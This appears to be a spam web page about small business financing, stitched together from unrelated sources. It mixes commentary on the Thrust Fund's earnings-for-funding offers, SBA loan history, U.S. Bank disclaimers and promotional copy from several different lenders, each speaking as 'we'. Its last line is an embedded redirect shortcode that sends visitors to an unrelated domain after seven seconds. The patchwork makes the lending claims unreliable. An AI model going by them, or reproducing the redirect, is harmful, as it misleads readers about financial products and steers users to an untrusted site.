Young, ambitious and willing to make a bet on your future earnings? Consider how Kjerstin Erickson, Saul Garlick and Jon Gosier are trying to raise money. Through an online marketplace called the Thrust Fund, the three have offered up a percentage of their future lifetime earnings in exchange for upfront, undesignated venture funding. Erickson is willing to swap 6 percent of her future lifetime earnings for $600,000. The other two entrepreneurs are each offering 3 percent of future earnings for $300,000. Beware: the legality and enforceability of these “personal investment contracts” have yet to be established.
That’s why we don’t provide them with the same working capital! Our small business loans range from $5,000 to $500,000, so you’re guaranteed to receive an amount that works for your business’s needs. Plus, working capital can be in your business’s bank account in as little as 72 hours from approval. What’s not to love?
You likely have consistent bills, such as rent and electricity, that you must pay to keep your doors open and your lights on. This can be challenging, since you have other business costs to tend to as well. With a small business loan, you’ll have funds available, so that you won’t worry about missing a payment.
Finally, the SBA International Trade Loan Program you must show that you can develop new foreign markets, expand existing foreign markets, and/or that your small business was adversely affected by imports and that the loan will increase your competitiveness.
Ever since Congress created the SBA in 1953, this federal agency has helped guarantee millions of loans to small and mid-sized businesses, in addition to providing counseling, contracts, and other forms of assistance. The idea behind the SBA-backed loans was that the commercial banking system wasn’t offering small business owners the same types of access to capital to start, grow, and keep their businesses functioning that those financial services institutions offer to larger businesses — given that they often have more assets and collateral, a larger cash flow, and a lengthier and more proven credit history.
Since your business is established and your revenue is solid, Funding Circle, SmartBiz and Credibility Capital are good financing options. SmartBiz, with loans up to $350,000, has low-rate SBA loans, but the application and funding process can take several to a few months. If you want funding quicker, Funding Circle and Credibility Capital are alternatives.
Our loans for small businesses are designed to help you start your business, tackle the inevitable growth challenges you face while building your business, or simply help you get through the slow times, like when your industry has a natural lull.
Lenders will want to know how you plan to use the money and will want to see that you have a strong ability to repay. They may require a solid business plan that details the purpose of the loan and how you expect it to increase profits.
Financing maximums and terms are determined by borrower qualifications and use of funds. U.S. Bank and its representatives do not provide tax advice. Consult an advisor regarding a particular financial situation. For any deferred or promotional payment period, interest accrues and is amortized over the remainder of the term and outstanding balance. Deposit products offered by U.S. Bank National Association. Member FDIC. Credit products offered by U.S. Bank National Association and are subject to normal credit approval and program guidelines. Deposit products offered by U.S. Bank National Association. Member FDIC.
Origination fee: This is a fee charged for processing the loan application and approval, including verifying a borrower’s information. Origination fees may be charged as a flat fee (e.g., $350) or a percentage of the loan amount. If it’s charged as a percentage-based fee, it will typically be between 1% and 6% of the loan amount. Sometimes the origination fee is included in the total loan amount, meaning the borrower is essentially borrowing the fee and repaying it with interest.
Since 2007, we’ve helped over 1.5 million people achieve greater financial wellness, and that number is growing. As the trailblazer in peer-to-peer lending, we’ve evolved into America’s largest online marketplace that allows borrowers to apply for personal loans, auto refinancing, business loans, and elective medical procedures. Through our marketplace, we’ve given investors access to solid returns, low volatility, and monthly cash flow.*
The SBA International Trade Loan (ITL) can be used to buy, renovate, or repurpose facilities and/or equipment located in the U.S. in order to expand into new or existing foreign markets. This loan can also be used to to refinance existing debt.
SBA has at least one office in each U.S. state. In addition, the agency provides grants to support counseling partners, including approximately 900 Small Business Development Centers (often located at colleges and universities), 110 Women’s Business Centers, and SCORE, a volunteer mentor corps of retired and experienced business leaders with approximately 350 chapters. These counseling services provide services to over 1 million entrepreneurs and small business owners annually. President Obama announced in January 2012 that he would elevate the SBA into the Cabinet, a position it last held during the Clinton administration, thus making the Administrator of the Small Business Administration a cabinet-level position.
Instead, you’ll have to rely on business credit cards, borrowing from friends and family, crowdfunding, personal loans or a microloan from a nonprofit lender. Here’s more information on startup business loans.
Prior to submitting your application, you should have a plan for how you will utilize the business financing. Do you have broken equipment that must be fixed, a need to meet payroll, or do you want to expand your business? Knowing how you want to use your working capital will help you determine how quickly you need it, how much your business requires, and the cost you’re comfortable paying. Luckily, we don’t restrict how to use your working capital – check out the section below to learn about the top uses of funds!
At United Capital Source, we understand no two businesses or business owners are alike and that’s why we look at each scenario individually to ensure that our clients get the financing that fits with their businesses goals and needs. By looking at each business on an individual basis, we are able to approve many more business owners than our competition.
A rollover as business startups (ROBS) financing transaction lets you roll over eligible retirement accounts to invest in a startup or an existing business. It’s an option for entrepreneurs who have built up a significant amount of retirement savings and want to tap into the funds, without paying income taxes or early withdrawal penalties.
Look carefully at your business’s financials — especially cash flow — and evaluate how much you can reasonably afford to apply toward loan repayments each month. Some online lenders require daily or twice-monthly repayments, so factor that into the equation if that’s the case.
And since applying with us takes minutes, not months like it would with traditional lenders, why not apply and see what your options are? Before you know it, you’ll be done entering your information and sipping on that smoothie while one of our funding managers works on your application. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]